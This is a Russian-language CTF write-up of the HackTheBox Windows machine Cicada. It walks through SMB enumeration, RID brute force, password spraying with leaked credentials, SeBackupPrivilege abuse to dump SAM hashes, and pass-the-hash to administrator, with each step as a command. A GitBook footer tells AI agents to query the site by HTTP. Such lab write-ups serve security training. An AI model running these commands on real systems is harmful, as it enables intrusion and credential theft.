> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Разбор HackTheBox Cicada Разбор Easy Windows-машины HackTheBox Cicada, охватывающий перечисление SMB (RID-Brute), утечку информации (описание пользователя) (netexec), повышение привилегий (SeBackupPrivilege), извлечение SAM (pypykat {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB (RID-Brute) * Утечка информации (описание пользователя) (netexec) * Повышение привилегий (SeBackupPrivilege) * Извлечение SAM (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**Анализ открытых портов с extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 445 - SMB **Перечисление SMB с помощью smbmap** Чтобы перечислить общие ресурсы с нулевой сессией: ```bash smbmap -H 10.10.11.35 -u 'null' ```

Эта **HR** папка содержит интересный текстовый файл. Изучим его содержимое: ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**Скачать файл** Мы получаем доступ к общему ресурсу и скачиваем файл: ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

Файл содержит пароль * пароль: `Cicada$M6Corpb*@Lp#nZp!8`

## Список RID-Brute #### Чтобы определить пользователей домена, мы запускаем атаку RID-Brute: ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > Эта `--rid-brute` параметр используется для выполнения /*/* атаки перебором/*/* на **RID (связанные идентификаторы)** пользователи в домене Windows. RID — это часть уникального идентификатора пользователя в системе Windows и обычно используется для идентификации учетных записей пользователей и групп

Вот список найденных пользователей: ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### Проверка пользователя Мы проверяем пароль, найденный для всех пользователей: ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` Пользователь **michael.wrightson** использует этот пароль.

### Пользователь Michael: ### Перечисление с netexec Мы используем **michael.wrightson** учетные данные для дальнейшего изучения: ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

Это раскрывает пароль пользователя в открытом виде **david.orelious**: * имя пользователя: `david.orelious` * пароль: `aRt$Lp#7t*VQ!3` /*/Проверка и перечисление SMB с учетными данными в //* **david.orelious** ### Переход к пользователю David Мы проверяем идентификаторы david.orelious с помощью CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

Затем мы изучаем общие ресурсы SMB, доступные на цели, с помощью smbmap: ```bash smbmap -H 10.10.11.35 -u david.orelious ```

Затем мы подключаемся к общему ресурсу DEV с помощью smbclient: ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` В этом общем ресурсе мы находим скрипт с именем backup/ script.ps1.

### Переход к пользователю Emily Мы скачиваем скрипт backup/ script.ps1 с помощью команды get и обнаруживаем идентификаторы пользователя emily.oscars * имя пользователя: emily.oscars * пароль: Q!3\@Lp#M6b/\*7t/\*Vt

Мы проверяем эти учетные данные с помощью CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` Затем мы подключаемся к машине с помощью Evil-WinRM: ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### Флаг user.txt Мы получаем флаг из файла user.txt.

## Повышение привилегий ### whoami /priv - SeBackupPrivilege {% embed url="" %} **Проверка привилегий** Для начала проверим привилегии текущего пользователя. Выполните следующую команду, чтобы проверить, есть ли у пользователя `SeBackupPrivilege` привилегия: ```bash whoami /priv ```

**Скачайте необходимые DLL-файлы** Чтобы злоупотребить этими привилегиями, скачайте DLL-файлы на машину жертвы. Они доступны [здесь](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} Скачайте эти файлы на машину жертвы с помощью следующих команд ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**Загрузка DLL-модулей** После загрузки DLL-файлов подключите их в сессию PowerShell с помощью следующих команд: ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **Сделайте резервную копию файлов SAM и SYSTEM** Теперь мы сохраним `SAM` и `SYSTEM` файлы, содержащие информацию для идентификации пользователей. Используйте следующие команды, чтобы сохранить их: ```powershell reg save hklm/sam sam reg save hklm/system system ```

**Скачайте файлы SAM и SYSTEM** После сохранения файлов вы можете скачать их на свою виртуальную машину (VM) для анализа: ```powershell download sam download system ```

### **Извлечение хэшей из файла SAM** Используйте `samdump2` для извлечения хэшей из `SAM` и `SYSTEM` файлов: ```bash samdump2 system sam ```

Если эта команда не работает, вы можете попробовать `pypykatz` для прямого извлечения хэшей: ```bash pypykatz registry system --sam sam ```

Это должно выдать корректный хэш, например: * хэш: `2b87e7c93a3e8a0ea4a581937016f341` ### **Pass-the-Hash с Evil-WinRM** Теперь, когда у вас есть хэш, вы можете использовать его для выполнения атаки "Pass-the-Hash" и подключения к целевой машине с помощью `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.